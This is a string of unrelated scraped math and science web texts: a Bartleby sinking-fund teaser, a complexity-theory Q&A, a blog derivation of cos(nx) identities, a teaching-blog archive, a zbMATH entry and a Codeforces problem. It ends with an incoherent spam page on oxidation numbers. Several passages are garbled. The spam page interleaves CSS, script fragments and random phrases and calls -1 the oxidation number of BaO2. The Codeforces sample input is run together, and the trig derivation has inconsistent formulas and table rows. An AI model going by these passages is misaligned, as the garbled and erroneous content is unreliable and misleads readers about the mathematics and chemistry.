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Chapter 12, Problem 10AT ### Contemporary Mathematics for Busin... 8th Edition Robert Brechner + 1 other ISBN: 9781305585447 Chapter Section ### Contemporary Mathematics for Busin... 8th Edition Robert Brechner + 1 other ISBN: 9781305585447 Textbook Problem # Use Table 12-1 to calculate the amount of the periodic payments needed to amount to the financial objective (future value of the annuity) for the following sinking funds. Sinking Fund Payment Time Nominal Interest Future Value Payment Frequency Period (years) Rate (%) Compounded (Objective) 10. every month 2 1 4 6 monthly $7,000 To determine To calculate: The amount of sinking fund payment where payment frequency is 1 month, time duration is 214 years, nominal rate of return is 6%, future value is$7,000 and interest is compounded monthly. Explanation Given Information: Payment frequency is 1 month, time duration is 214 years, nominal rate of return is 6%, future value is $7,000 and interest is compounded monthly. Formula used: Steps to compute the amount of sinking fund payment; Step 1: First find the future value table factor from table 12-1 by using appropriate rate and number of periods of the sinking fund. Step 2: Compute the amount of sinking fund payment. The formula to compute the sinking fund payment is, Sinking fund payment=Future value of sinking fundFuture value table factor Calculation: Consider that payment where payment frequency is 1 month, time duration is 214 years, nominal rate of return is 6%, future value is$7,000 and interest is compounded monthly. As the interest is compounded monthly. So, the interest rate period is; 6%12=0 ### Still sussing out bartleby? Check out a sample textbook solution. See a sample solution #### The Solution to Your Study Problems Bartleby provides explanations to thousands of textbook problems written by our experts, many with advanced degrees! Get Started	{}
What is the size of a function? I'm not sure whether this question should be asked on mathoverflow.com or here, but as it is in the context of computational complexity, I will ask here. Context Oded Goldreich states in his book Computational Complexity: A Conceptual Perspective (no advertising intended!) that a search problem is in PC (Polynomial-Time Check) if it fulfills this condition among others: There exists a polynomial $p$ s.t. if $(x, y) \in R$ then $\|y\| \leq p(\|x\|)$. Question If the solution to a search problem is a function, how is the size of the function ($\|y\|$) determined? I thought, it could be size of the input of that function, but I am not sure. • Markus?! ;) Anyway, the question is really too basic here. (but: y is just a string. It could be encoding a function or anything else for that matter) – Kristoffer Arnsfelt Hansen Oct 5 '10 at 9:21 • @Kristoffer: Ups, I wanted to verify the name first ;) Yeah it is probably too basic, sorry for that. What would be the place to ask such questions? – Felix Oct 5 '10 at 9:26 • For what it’s worth, this question would be too basic on MathOverflow, too. You might want to try at math.stackexchange.com. – Tsuyoshi Ito Oct 5 '10 at 10:25 This is a basic question, yet I tend to answer simple ones too :) In the book you mentioned, take a look at section 1.2.1 (page 18). It describes how various objects are encoded. Among other things, it includes a section "Strings," in which "relation encoding" is described: At times, we associate $\{0, 1\}^∗ \times \{0, 1\}^∗$ with $\{0, 1\}^∗$; the reader should merely consider an adequate encoding (e.g., the pair $(x_1 \dots x_m, y_1 \dots y_n) \in \{0, 1\}^∗ \times \{0, 1\}^∗$ may be encoded by the string $x_1x_1 \dots x_mx_m01y_1 \dots y_n \in \{0, 1\}^∗$). Functions are a special type of relation, so they can be similarly encoded. In particular, a (finite and discrete) function can be seen as a list of input-output relations: $f=\{(x_1,y_1),\dots,(x_n,y_n)\}$. This can be easily encoded by incorporating a special symbol, say $\circ$. That is, $enc(f)=x_1 \circ y_1 \circ \dots \circ x_n \circ y_n$. (The encoding can be done without any special symbol, but it adds unnecessary intricacy.) This way, the size of $f$ is the size of its encoding: $\|enc(f)\| \approx \sum_{i=1}^{n}{(\|x_i\|+\|y_i\|)}$. Needless to say, infinite functions have infinite size, unless you can compress the list somehow. (This brings up the "Kolmogorov Complexity Theory", which is a story for another day!) • Thank you very much for taking the time to answer this :) It will definitely help me to go on. – Felix Oct 5 '10 at 12:13 • Any time! Just make sure criticism does not prevent you from asking :) – M.S. Dousti Oct 5 '10 at 12:20	{}
# C o n c e p t s This topic requires familiarity with the following concepts: • Conic equations • Differentiation • Integration • Rotating graphs • Golden ratio We know the identities for sin(2x) and cos(2x), but what about sin(nx) and cos(nx)? I have found a method to find the identities for cos(nx) and other properties relating sin(nx) and cos(nx) in the form of \sum_{i}^{ }a_i\cos ^i(x). First we find the identities for cos(3x) to cos(10x) exclusively in terms of cosx using the sum formula of cosine. They are listed here: Table 1: Cosine Identities for n = 1 to 10 cos(1x) 1cos1x cos(2x) 2cos2x – 1 cos(3x) 4cos3x – 3cos1x cos(4x) 8cos4x – 8cos2x + 1 cos(5x) 16cos5x – 20cos3x + 5cos1x cos(6x) 32cos6x – 48cos4x + 18cos2x – 1 cos(7x) 64cos7x – 112cos5x + 56cos3x – 7cos1x cos(8x) 128cos8x – 256cos6x + 160cos4x – 32cos2x + 1 cos(9x) 256cos9x – 576cos7x + 432cos5x – 120cos3x + 9cos1x cos(10x) 512cos10x – 1280cos8x + 1120cos6x – 400cos4x + 50cos2x – 1 Notice that by increasing the n in cos(nx), the multiple of angle x, the number of terms increase, and we have a trigonometric polynomial each time. We'll define a trigonometric polynomial as a polynomial containing either cosine or sine terms which have a 1 as the multiple of the angle x: \sum_{i}^{ }a_i\cos ^i(x). The trigonometric polynomial identities of cosine, where n is the multiple of angle x, have the following special characteristics: • The coefficient of the term of the greatest degree is a power of 2. • The signs alternate from positive to negative when the terms are arranged in decreasing degrees. • The degrees of the terms decrease by 2. If the multiple is even, the degrees of all the terms are even. If the multiple is odd, the degrees of all the terms are odd. • The greatest degree of the trigonometric polynomial identity is the multiple of angle x. • The sum of the coefficients of the trigonometric polynomial identity is always 1. This can be proved easily by noting that cos(0) = 1. We only need to find a way to generate the coefficients of the terms other than the greatest degree term. I have found one method shown here. First, write the odd numbers as the first row starting with 1: R_1(n) = 2n-1: 1 3 5 7 9 11 ..... The sequence in Row 2 is determined by the formula: R_1(n) = 2\sum_{i=1}^{n} 2i-1: 2 8 18 32 50 72 ..... The sequence in Row 3 is determined by the formula: R_1(n) = 4\sum_{i=1}^{n}\sum_{i_1=1}^{i} 2i_1-1: 4 20 56 120 220 364 The pattern is evident and the formula for Row 4 is: R_1(n) = 4\sum_{i=1}^{n}\sum_{i_1=1}^{i}\sum_{i_2=1}^{i_1} 2i_2-1: 8 48 160 400 840 1568 2688 Continue this process to find as many rows as desired. Row 1: 1 3 5 7 9 11 ... Row 2: 2 8 18 32 50 72 ... Row 3: 4 20 56 120 220 364 ... Row 4: 8 48 160 400 840 1568 ... Row 5: 16 112 432 1232 2912 6048 ... Row 6: 32 256 1120 3584 9408 21504 ... Column 1 contains coefficient of the highest degree terms. Column 2 contains coefficients of the next highest degree terms, and so on. But the columns after Column 1 have to be dropped down. Drop the columns down as shown below. Row 1: 1 0 0 0 0 0 ... Row 2: 2 1 0 0 0 0 ... Row 3: 4 3 0 0 0 0 ... Row 4: 8 8 1 0 0 0 ... Row 5: 16 20 5 0 0 0 ... Row 6: 32 48 18 1 0 0 ... Row 7: 64 112 56 7 0 0 ... Row 8: 128 256 160 32 1 0 ... Column 2 should start with one 0 and a 1. Column 3 should start with three 0's and a 1. Column 4 should start with five 0's and a 1, and so on. Each time an odd number of 0's are added and a 1 is added because for cos(2nx) where 2n is an even number, our trigonometric polynomial ends with a positive or a negative 1. The signs of the trigonometric polynomial can be determined easily because they alternate. Finally, the above table of rows and columns represent the coefficients of the trigonometric polynomial for cos(nx). (Row n represents the coefficients the trigonometric polynomial of cos(nx).) All these identities can be confirmed with a graphing utility. We've only examined the identities for cos(nx). The identities of sin(nx) are unusual. Because sin(2x) equals 2sin x·cos x, sin(2nx) where 2n is even cannot be expressed exclusively in terms of sin x and they do not form a trigonometric polynomial according to our definition. Table 2: Cosine and Sine Identities Comparison N SIN(NX) COS(NX) 1 sin x cos1x 2 2sin x·cos x 2cos2x – 1 = 1 – 2sin2x 3 3sin x – 4sin3x 4cos3x – 3cos1x 4 2sin 2x(1 – 2sin2x) = 2sin 2x – 4sin 2x·sin2x 8cos4x – 8cos2x + 1 = 1 – 8sin2x + 8sin4x 5 5sin1x – 20sin3x + 16sin5x 16cos5x – 20cos3x + 5cos1x 6 3sin 2x – 4sin32x 32cos6x – 48cos4x + 18cos2x – 1 = 1 – 18sin2x + 48sin4x – 32sin6x 7 7sin1x – 56sin3x + 112sin5x – 64sin7x 64cos7x – 112cos5x + 56cos3x – 7cos1x 8 128cos8x – 256cos6x + 160cos4x – 32cos2x + 1 9 256cos9x – 576cos7x + 432cos5x – 120cos3x + 9cos1x 10 512cos10x – 1280cos8x + 1120cos6x – 400cos4x + 50cos2x - 1 ## The Fibonacci Sequence The Fibonacci sequence has a tendency to appear in the strangest places as it does in Pascal's triangle. Our trigonometric polynomial is no exception for the Fibonacci sequence to appear. Let's study the coefficient more closely for cos(nx). Add up the terms going diagonally from left to right to reveal the sequence: 1, 1, 2, 3, 5, 8, 13, 21.... ## Proof of the General Trigonometric Polynomial Identity The method for finding the identity of cos(nx) shown above is not practical for large values of n. There is a general formula for finding the coefficients of the identities. Here, I will reveal the general trigonometric polynomial identity for cos(nx) in a proof which only involves algebra. Euler proved that e^{xi} = \cos(x) + i\sin(x), where i is the imaginary unit. Using this equation we will find the general identity for cos(nx). (e^{xi})^{n} = (\cos(x) + i\sin(x))^{n} Expanding (\cos(x) + i\sin(x))^{n}, we have: (i) (e^{xi})^{n} = (\cos(x) + i\sin(x))^{n} = \cos^{n}{x} + C_{1}^{n}(\cos{x})^{n-1}i\sin{x} + C_{2}^{n}(\cos{x})^{n-2}(i\sin{x})^{2} + C_{3}^{n}(\cos{x})^{n-3}(i\sin{x})^{3} + C_{4}^{n}(\cos{x})^{n-4}(i\sin{x})^{4} + ... Now, group the real part from the imaginary part in expansion. (ii) [\cos^{n}{x} - C_{2}^{n}(\cos{x})^{n-2}(\sin{x})^{2} + C_{4}^{n}(\cos{x})^{n-4}(\sin{x})^{4} - C_{6}^{n}(\cos{x})^{n-6}(\sin{x})^{6} + ...] +i[C_{1}^{n}(\cos{x})^{n-1}\sin{x} - C_{3}^{n}(\cos{x})^{n-3}(\sin{x})^{3} + C_{5}^{n}(\cos{x})^{n-5}(\sin{x})^{5} - C_{7}^{n}(\cos{x})^{n-7}(\sin{x})^{7} + ...] But since (e^{xi})^{n} = e^{nxi} = \cos{(nx)} + i\sin{(nx)}, which equals the expansion above, the real part in the expansion must be cos(nx), and the imaginary part must be isin(nx). Therefore, we have the following identity of sine: \sin{(nx)} = C_{1}^{n}(\cos{x})^{n-1}\sin{x} - C_{3}^{n}(\cos{x})^{n-3}(\sin{x})^{3} + C_{5}^{n}(\cos{x})^{n-5}(\sin{x})^{5} - C_{7}^{n}(\cos{x})^{n-7}(\sin{x})^{7} ... This expression is difficult to simplify but the next property for cosine is fairly easier: \cos{(nx)} = \cos^{n}{x} - C_{2}^{n}(\cos{x})^{n-2}(\sin{x})^{2} + C_{4}^{n}(\cos{x})^{n-4}(\sin{x})^{4} - C_{6}^{n}(\cos{x})^{n-6}(\sin{x})^{6} + ... Because \cos^{2}{x} = 1 - \sin^{2}{x}, we can substitute this in the above relationship to rewrite the relationship completely in terms of cosx. \cos{(nx)} = \cos^{n}{x} - C_{2}^{n}(\cos{x})^{n-2}(1-\cos^{2}{x}) + C_{4}^{n}(\cos{x})^{n-4}(1-\cos^{2}{x})^{2} - C_{6}^{n}(\cos{x})^{n-6}(1-\cos^{2}{x})^{3} + ... \cos{(nx)} = \cos^{n}{x} - C_{2}^{n}[(\cos{x})^{n-2} - \cos^{n}{x})] + C_{4}^{n}[(\cos{x})^{n-4} - C_{1}^{2}\cos{x}^{n-2} + \cos^{n}{x}] - C_{6}^{n}[(\cos{x})^{n-6} - C_{1}^{3}(\cos{x})^{n-4} + C_{2}^{3}(\cos{x})^{n-2} - C_{3}^{3}(\cos{x})^{n}] + C_{8}^{n}[(\cos{x})^{n-8} - C_{1}^{4}(\cos{x})^{n-6} + C_{2}^{4}(\cos{x})^{n-4} - C_{3}^{4}(\cos{x})^{n-2} + C_{4}^{4}(\cos{x})^{n}]... Collecting the like terms gives us the following Cosine Identity: \cos{(nx)} = [1 + C_{2}^{n} + C_{4}^{n} + C_{6}^{n} + C_{8}^{n} + ....]\cos^{n}(x) - [C_{2}^{n}C_{0}^{1} + C_{4}^{n}C_{1}^{2} + C_{6}^{n}C_{2}^{3} + C_{8}^{n}C_{3}^{4} + ...]\cos{x}^{n-2} + [C_{4}^{n}C_{0}^{2} + C_{6}^{n}C_{1}^{3} + C_{8}^{n}C_{2}^{4} + C_{10}^{n}C_{3}^{5} + ...]\cos{x}^{n-4} - [C_{6}^{n}C_{0}^{3} + C_{8}^{n}C_{1}^{4} + C_{10}^{n}C_{2}^{5} + C_{12}^{n}C_{3}^{6} + ...]\cos{x}^{n-6} + ... From (ii), we have this nice multiple angle identity for cosine. ## The Multiple Angle Cosine Identity \cos{(nx)}=\left (\sum_{i=0}^{\left \lfloor \frac{n}{2} \right \rfloor+1}C_{2i}^n \right )(\cos{x})^{n} - \left (\sum_{i=1}^{\left \lfloor \frac{n}{2} \right \rfloor}C_{2i}^n\cdot C_{i-1}^{i} \right )(\cos{x})^{n-2} + \left (\sum_{i=2}^{\left \lfloor \frac{n}{2} \right \rfloor - 1}C_{2i}^n\cdot C_{i-2}^{i} \right )(\cos{x})^{n-4} - \left (\sum_{i=3}^{\left \lfloor \frac{n}{2} \right \rfloor - 2}C_{2i}^n\cdot C_{i-3}^{i} \right )(\cos{x})^{n-6} + \left (\sum_{i=4}^{\left \lfloor \frac{n}{2} \right \rfloor - 3}C_{2i}^n\cdot C_{i-4}^{i} \right )(\cos{x})^{n-8} - \left (\sum_{i=5}^{\left \lfloor \frac{n}{2} \right \rfloor - 4}C_{2i}^n\cdot C_{i-5}^{i} \right )(\cos{x})^{n-10} + ..., where \left \lfloor \frac{n}{2} \right \rfloor is the floor function. The first 5 coefficients are can be reduced to the following general formulas: \sum_{i = 0}^{\left \lfloor \frac{n}{2} \right \rfloor + 1 }C_{2i}^{n}=2^n, where n ≥ 0 \sum_{i = 1}^{\left \lfloor \frac{n}{2} \right \rfloor }C_{2i}^{n}\cdot C_{i-1}^{i}=2^{n-3}(n) = \frac{2^{n-3}}{1!}(n), where n ≥ 2 \sum_{i = 2}^{\left \lfloor \frac{n}{2} \right \rfloor - 1}C_{2i}^{n}\cdot C_{i-2}^{i}=2^{n-6}(n)(n-3) = \frac{2^{n-5}}{2!}(n)(n-3), where n ≥ 4 \sum_{i=3}^{\left \lfloor \frac{n}{2} \right \rfloor - 2}C_{2i}^{n}\cdot C_{i-3}^{i} = 2^{n-6}\left [ \frac{7}{2} + \frac{9}{2}(n-7) + \frac{5}{4}(n-7)(n-8) + \frac{1}{12}(n-7)(n-8)(n-9) \right ] = 2^{n-6}\left ( \frac{1}{12} \right )(n)(n-4)(n-5) = 2^{n-8}(1/3)(n)(n-4)(n-5) = \frac{2^{n-7}}{3!}(n)(n-4)(n-5), where n ≥ 6 \sum_{i=4}^{\left \lfloor \frac{n}{2} \right \rfloor - 3}C_{2i}^{n}\cdot C_{i-4}^{i} = 2^{n-12}\left ( \frac{1}{3} \right )(n)(n-5)(n-6)(n-7) = \frac{2^{n-9}}{4!}(n)(n-5)(n-6)(n-7), where n ≥ 8 However, it seems finding the general formula for other powers seems more and more complex when done manually. I have shown how to derive the formula for the 6th term below. However, a pattern does seem to emerge (hence I’ve written the formulas with the factorials to see if a pattern emerges.) Assuming this pattern is correct, let’s write the formula for the 7th term: \sum_{i=5}^{\left \lfloor \frac{n}{2} \right \rfloor - 4}C_{2i}^{n}\cdot C_{i-5}^{i} = \frac{2^{n-11}}{5!}(n)(n-6)(n-7)(n-8)(n-9), where n ≥ 10 \frac{2^{10-11}}{5!}(10)(10-6)(10-7)(10-8)(10-9) = \frac{2^{-1}}{5\cdot 4!}(10)(4)(3)(2)(1)=1. So far so good. I'll skips the in-between steps going forward. \frac{2^{0}}{5!}(11)(5)(4)(3)(2) = 11. Works again. Let’s continue with n = 12. \frac{2^{1}}{5!}(12)(6)(5)(4)(3) = 72. Doing great so far. And now, n = 13. \frac{2^{2}}{5!}(13)(7)(6)(5)(4) = 364 Amazing! The pattern holds up. This is not a rigorous proof required by mathematics. I’ll leave that up to others to figure that out. ## Manual Calculation for cos(10x) For cos10(x) coefficient: C_{0}^{10}+C_{2}^{10}+C_{4}^{10}+C_{6}^{10}+C_{8}^{10}+C_{10}^{10} = 1 + 45 + 210 + 210 + 45 + 1 = 512 For the cos8x coefficient: C_{2}^{10}C_{0}^{1} + C_{4}^{10}C_{1}^{2} + C_{6}^{10}C_{2}^{3} + C_{8}^{10}C_{3}^{4}+C_{10}^{10}C_{4}^{5} = 45\cdot1 + 210\cdot2 + 210\cdot3 + 45\cdot4 + 1\cdot5 = 45 + 420 + 630 + 180 +5 = 1280 For the cos6x coefficient: C_{4}^{10}C_{0}^{2} + C_{6}^{10}C_{1}^{3} + C_{8}^{10}C_{2}^{4} + C_{10}^{10}C_{3}^{5} = 210\cdot1 + 210\cdot3 + 45\cdot6 + 1\cdot10 = 210 + 630 + 270 + 10 = 1120 For the cos4x coefficient: C_{6}^{10}C_{0}^{3} + C_{8}^{1}0C_{1}^{4} + C_{10}^{10}C_{2}^{5} = 210\cdot1 + 45\cdot4 + 1\cdot10 = 210 + 180 + 10 = 400 For the cos2x coefficient: C_{8}^{10}C_{0}^{4} + C_{10}^{10}C_{1}^{5} = 45\cdot1 + 1\cdot5 = 45 + 5 = 50 For the cos0x (the constant): C_{10}^{10}C_{0}^{5} = 1\cdot1 = 1 ## Pattern of Squares Interesting series appears when obtaining the derivatives of the identities and adding their coefficients. Derivative Sum of Coefficients cos(1x) –1sin1x –1 cos(2x) –4cos1xsin1x –4 cos(3x) –12cos2xsin1x + 3sin1x –12 + 3 = –9 cos(4x) –32cos3xsin1x + 16cos1xsin1x –32 + 16 = –16 cos(5x) –80cos4xsin1x + 60cos2xsin1x – 5sin1x –80 + 60 – 5 = –25 cos(6x) –192cos5xsin1x + 192cos3xsin1x – 36cos1xsin1x –192 + 192 – 36 = –36 cos(7x) –448cos6xsin1x + 560cos4xsin1x – 168cos2xsin1x + 7sin1x –448 + 560 – 168 + 7 = –49 cos(8x) –1024cos7xsin1x + 1536cos5xsin1x – 640cos3xsin1x + 64cos1xsin1x –1024 + 1536 – 640 + 64 = –64 cos(9x) –2304cos8xsin1x + 4032cos6xsin1x – 2160cos4xsin1x + 360cos2xsin1x – 9sin1x –2304 + 4032 – 2160 + 360 – 9 = –81 cos(10x) –5120cos9xsin1x + 10240cos7xsin1x – 6720cos5xsin1x + 1600cos3xsin1x – 100cos1xsin1x –5120 + 10240 – 6720 + 1600 = 100 = –100 ## The General Formula for the Coefficients Finding the coefficients seems like a lot of work. However, the first 5 general formulas are given above. Here, I’ll show a way to find these coefficients using the 5th term. The fifth term is \left (\sum_{i=4}^{\left \lfloor \frac{n}{2} \right \rfloor - 3}C_{2i}^{n}\cdot C_{i-4}^{i} \right )\cos{x}^{n-8}. From the summation method I showed above and using Excel, the sequence this produces is 1, 9, 50, 220, 840, 2912, 9408, 26880, …. Now, to find the rule for this sequence, we will have to use my general formula for the polynomial series, which is given by: f(i) = K_{n} + \frac {K_{n-1}}{1!}i + \frac{K_{n-2}}{2!}i(i - 1) + \frac{K_{n-3}}{3!}i(i - 1)(i - 2) + \frac{K_{n-4}}{4!}i(i - 1)(i - 2)(i - 3) + \frac{K_{n-5}}{5!}i(i - 1)(i - 2)(i - 3)(i - 4) + ... Knowing that all the coefficients have a power of 2, we will have to divide out the power of 2, then find the n-level differences. Below, this has been done using Excel: 1 9 50 220 840 2912 9408 28800 84480 Divide by 2n 1 4.5 12.5 27.5 52.5 91 147 225 330 1st level diff 3.5 8 15 25 38.5 56 78 105 137.5 2nd level diff 4.5 7 10 13.5 17.5 22 27 32.5 38.5 3rd level diff 2.5 3 3.5 4 4.5 5 5.5 6 6.5 4th level diff 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 The 4th level differences are constant at 0.5. Hence, we expect this sequence to be a 4th degree sequence. We are only interested in the first terms of the n-level differences to gives us the rule for this sequence. So, we have K4 = 1, K3 = 3.5, K2 = 4.5, K1 = 2.5, and K0 = 0.5. These are the only numbers we are interested in to find the general formula. The polynomial is a 4th degree polynomial. Plugging these values in gives us: f(n) = 1+\frac{7}{2}(n) + \frac{9}{4}(n)(n-1) + \frac{5}{12} (n)(n-1)(n-2) + \frac{1}{48}(n)(n-1)(n-2)(n-3) When n = 0, f(0) = 1. Hence, the power of n that corresponds to this is 2n. So the formula for our coefficients is: f(n) = 2^n\left [1 + \frac{7}{2}(n) + \frac{9}{4}(n)(n-1) + \frac{5}{12}(n)(n-1)(n-2) + \frac{1}{48}(n)(n-1)(n-2)(n-3)\right ] However, these coefficients only come into play when n = 8. So we have to shift these by 8. So the sequence rule is as follows: \left (\sum_{i=4}^{\left \lfloor \frac{n}{2} \right \rfloor - 3}C_{2i}^{n}\cdot C_{i-4}^{i} \right ) = 2^{n-8}\left [1 + \frac{7}{2}(n-8) + \frac{9}{4}(n-8)(n-9) + \frac{5}{12}(n-8)(n-9)(n-10) + \frac{1}{48}(n-8)(n-9)(n-10)(n-11)\right ] The formulas for the other coefficients reduces nicely. Let’s multiply this out to see if the same happens to this formula. Using a computer, this expands nicely to: \left (\sum_{i=4}^{\left \lfloor \frac{n}{2} \right \rfloor - 3}C_{2i}^{n}\cdot C_{i-4}^{i} \right ) = 2^{n-8}\left ( \frac{n^4}{48} - \frac{3n^3}{8} + \frac{107n^2}{48} - \frac{35n}{8} \right ), which itself factors even more nicely as: \left (\sum_{i=4}^{\left \lfloor \frac{n}{2} \right \rfloor - 3}C_{2i}^{n}\cdot C_{i-4}^{i} \right ) = \frac{2^{n-12}}{3}(n)(n-5)(n-6)(n-7).	{}
# Tag Archives: mathematics education July 23, 2013, 8:00 am # Doubt, proof, and what it means to do mathematics Yesterday I was doing some literature review for an article I’m writing about my inverted transition-to-proof class, and I got around to reading a paper by Guershon Harel and Larry Sowder¹ about student conceptions of proof. Early in the paper, the authors wrote the following passage about mathematical proof to set up their main research questions. This totally stopped me in my tracks, for reasons I’ll explain below. All emphases are in the original. An observation can be conceived of by the individual as either a conjecture or as a fact. A conjecture is an observation made by a person who has doubts about its truth. A person’s observation ceases to be a conjecture and becomes a fact in her or his view once the person becomes certain of its truth. This is the basis for our definition of the process of proving: By “proving” we mean the process employed by an… October 26, 2010, 12:00 pm # Questions about an enVisionMATH worksheet (part 2) Here’s another question about the same enVisionMATH worksheet we first met yesterday. Take a look at this section, and think about the mental processes you’d use to answer each of these problems: Got it? Now, let me zoom out a little and show you a part of the worksheet you didn’t see before: If you’re late to the party and don’t know what’s meant by “near doubles” and the arithmetic rules that enVisionMATH attaches to near doubles, read this post first. Questions: • Now that you know that these are supposed to be exercises about near doubles, does that change the mental processes you selected earlier for working the problems? • Should it? June 22, 2010, 7:42 pm # Partying like it's 1995 Yesterday at the ASEE conference, I attended mostly sessions run by the Liberal Education Division. Today I gravitated toward the Mathematics Division, which is sort of an MAA-within-the-ASEE. In fact, I recognized several faces from past MAA meetings. I would like to say that the outcome of attending these talks has been all positive. Unfortunately it’s not. I should probably explain. The general impression from the talks I attended is that the discussions, arguments, and crises that the engineering math community is dealing with are exactly the ones that the college mathematics community in general, and the MAA in particular, were having — in 1995. Back then, mathematics instructors were asking questions such as: • Now that there’s relatively inexpensive technology that will do things like plot graphs and take derivatives, what are we supposed to teach now? • Won’t all that technology… February 7, 2008, 9:12 pm # The Illini method for simplifying a radical One of my linear algebra students is an education major doing student teaching. Today he showed me this method of simplifying radicals which he learned from his supervising teacher. Apparently it’s called the “Illini method”. Googling this term returns nothing math-related, so I think that term was probably invented by his supervisor, who went to college in Illinois. The procedure goes as follows. Start with a radical to simplify, say $$\sqrt{50}$$. Look under the radical and find a prime that divides it, say 5. Then form a two-column array with the original radical in the top-left, the divisor prime in the adjacent row in the right column, and the result you get from dividing the radicand by that prime number in the left column below the radical. In this case, it’s: $$\begin{array}{r\|r} \sqrt{50} & 5 \\ 10 & \end{array}$$ Now look for a prime that divides the lower-left term… February 2, 2008, 4:33 pm Here’s a problem I have with the way most calculus textbooks are written, and therefore by default the way most calculus courses end up being taught. Tell me if I am crazy or missing something. We teach calculus from a depth-first viewpoint. That means that whenever we encounter a concept, we go as deeply as possible in that concept before moving on to the next one. There are some subjects where this makes sense, but in calculus we have a small number of main ideas that are made out of several concepts, and if we stop to attain maximal depth on every single thing, there’s a good chance that we never arrive at the main idea with any degree of understanding. The big ideas of calculus — the rate of change (derivative) and accumulated change (integral) — are actually really simple if you consider them simply for what they are and what they were invented to do. Derivatives, for instance: … October 30, 2007, 2:19 pm # Retrospective: Characteristics of upper-level math success (11.01.2006) Editorial: This is installment #5 in retrospective week. When I announced retrospective week, I said that some of the articles I would be highlighting may not have gotten many comments but started larger conversations — and this is certainly one of them, although the conversation went totally to places I didn’t want it to go. Read the article for yourself, and you’ll see that it is a reflection on what makes a successful student in an upper-level math course, what education programs often cite as characteristics of successful teachers, how those two sets are often portrayed as mutually exclusive, and why math education majors have to work to possess both sets of characteristics as an integrated whole in order to become great teachers. But that’s not how a lot of readers took it. In particular, some of the education majors at my college read this article and took it to be a public … • The Chronicle of Higher Education • 1255 Twenty-Third St., N.W. • Washington, D.C. 20037	{}
## Symmetric structures in Banach spaces.(English)Zbl 0421.46023 Mem. Am. Math. Soc. 217, 298 p. (1979). ### MSC: 46E30 Spaces of measurable functions ($$L^p$$-spaces, Orlicz spaces, Köthe function spaces, Lorentz spaces, rearrangement invariant spaces, ideal spaces, etc.) 46B15 Summability and bases; functional analytic aspects of frames in Banach and Hilbert spaces 46E35 Sobolev spaces and other spaces of “smooth” functions, embedding theorems, trace theorems Full Text:	{}
E. Startup Funding time limit per test 3 seconds memory limit per test 256 megabytes input standard input output standard output An e-commerce startup pitches to the investors to get funding. They have been functional for n weeks now and also have a website! For each week they know the number of unique visitors during this week vi and the revenue ci. To evaluate the potential of the startup at some range of weeks from l to r inclusive investors use the minimum among the maximum number of visitors multiplied by 100 and the minimum revenue during this period, that is: The truth is that investors have no idea how to efficiently evaluate the startup, so they are going to pick some k random distinct weeks li and give them to managers of the startup. For each li they should pick some ri ≥ li and report maximum number of visitors and minimum revenue during this period. Then, investors will calculate the potential of the startup for each of these ranges and take minimum value of p(li, ri) as the total evaluation grade of the startup. Assuming that managers of the startup always report the optimal values of ri for some particular li, i.e., the value such that the resulting grade of the startup is maximized, what is the expected resulting grade of the startup? Input The first line of the input contains two integers n and k (1 ≤ k ≤ n ≤ 1 000 000). The second line contains n integers vi (1 ≤ vi ≤ 107) — the number of unique visitors during each week. The third line contains n integers ci (1 ≤ ci ≤ 107) —the revenue for each week. Output Print a single real value — the expected grade of the startup. Your answer will be considered correct if its absolute or relative error does not exceed 10 - 6. Examples Input 3 23 2 1300 200 300 Output 133.3333333 Note Consider the first sample. If the investors ask for li = 1 onwards, startup will choose ri = 1, such that max number of visitors is 3 and minimum revenue is 300. Thus, potential in this case is min(3·100, 300) = 300. If the investors ask for li = 2 onwards, startup will choose ri = 3, such that max number of visitors is 2 and minimum revenue is 200. Thus, potential in this case is min(2·100, 200) = 200. If the investors ask for li = 3 onwards, startup will choose ri = 3, such that max number of visitors is 1 and minimum revenue is 300. Thus, potential in this case is min(1·100, 300) = 100. We have to choose a set of size 2 equi-probably and take minimum of each. The possible sets here are : {200, 300},{100, 300},{100, 200}, effectively the set of possible values as perceived by investors equi-probably: {200, 100, 100}. Thus, the expected value is (100 + 200 + 100) / 3 = 133.(3).	{}
left: 0; .widget.widget_wrt_recent_posts .entry .entry-meta .entry-cat, Explanation: I hope that it will help u. suryansh8632 suryansh8632 Answer: According to the book for a binary compound, first we assign the element with greater electronegativity its oxidation number (oxygen always -2 except in peroxides). -webkit-transition: -webkit-transform .5s ease-out; What is to bolster as Battery is to torch? There are a few exceptions to this rule: When oxygen is in its elemental state (O 2), its oxidation number is 0, as is the case for all elemental atoms. -1 is the oxidation number of BaO2. user-select: none; Let x be the oxidation number of P.Oxidation number of Ba =+2Oxidation state of O2 =-2Thus, oxidation number of P in Ba(H2PO2)2 +2 + 4(1) + 2x + 4(-2) = 0 or 2x - 2 = 0 or x = + 1 Find the Oxidation Numbers BaSO_4 Since is in column of the periodic table, it will share electronsand use an oxidation stateof. Odpowiadamy. .widget.widget_posts .entry .entry-meta .entry-cat, Oxidation number of nitrogen in N2 is 0.So nitrogen had reduced.Reducing agent is the one which provide electrons by oxidizing itself . It means first we need to check what type of ligand it is then only we can state that what's its coordination number can be How to calculate primary valence Given the molecular formula of the hexa-coordinated complexes (i) CoCl 3 .6NH 3 , (ii) CoCl 3 .5NH 3 , (iii) CoCl 3 .4NH 3 . 1. Ba: +2H: +1O: -2Ba + 4H + 2P + 4O = 0. .widget.widget_twitter .tweets-list .tweet a, Jan 03,2021 - Test: Oxidation Number (Redox Reaction) \| 19 Questions MCQ Test has questions of Class 11 preparation. top: 0; 1 Answer anor277 May 21, 2016 Barium typically displays a #+II# oxidation state in its compounds. Twój adres email nie zostanie opublikowany. Fender Jazzmaster Pau Ferro, O is -2. box-shadow: none !important; z-index: 2000; (a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(r=t.source\|\|{}).concatemoji?d(r.concatemoji):r.wpemoji&&r.twemoji&&(d(r.twemoji),d(r.wpemoji)))}(window,document,window._wpemojiSettings); Biżuteria złota czy srebrna, którą wybrać? display: inline !important; Barium has a density of 3.51 g/cm 3. Common Crow Caterpillar Poisonous, The oxidation number of phosphorus in Ba(H$_2PO_2 )_2$ is. Log in. Barium is a soft silver alkaline earth metal with symbol Ba and atomic number 56. He did not make any additional deposits or withdrawals. So, we have -2 x2 =-2. Then, we require that the total of all oxidation numbers in any molecule or ion add up to the real electric charge on that particle. .widget.widget_recent-post .entry-list .entry .entry-meta .entry-cat, 83% (163 ratings) Problem Details. Except for metal hydrides the 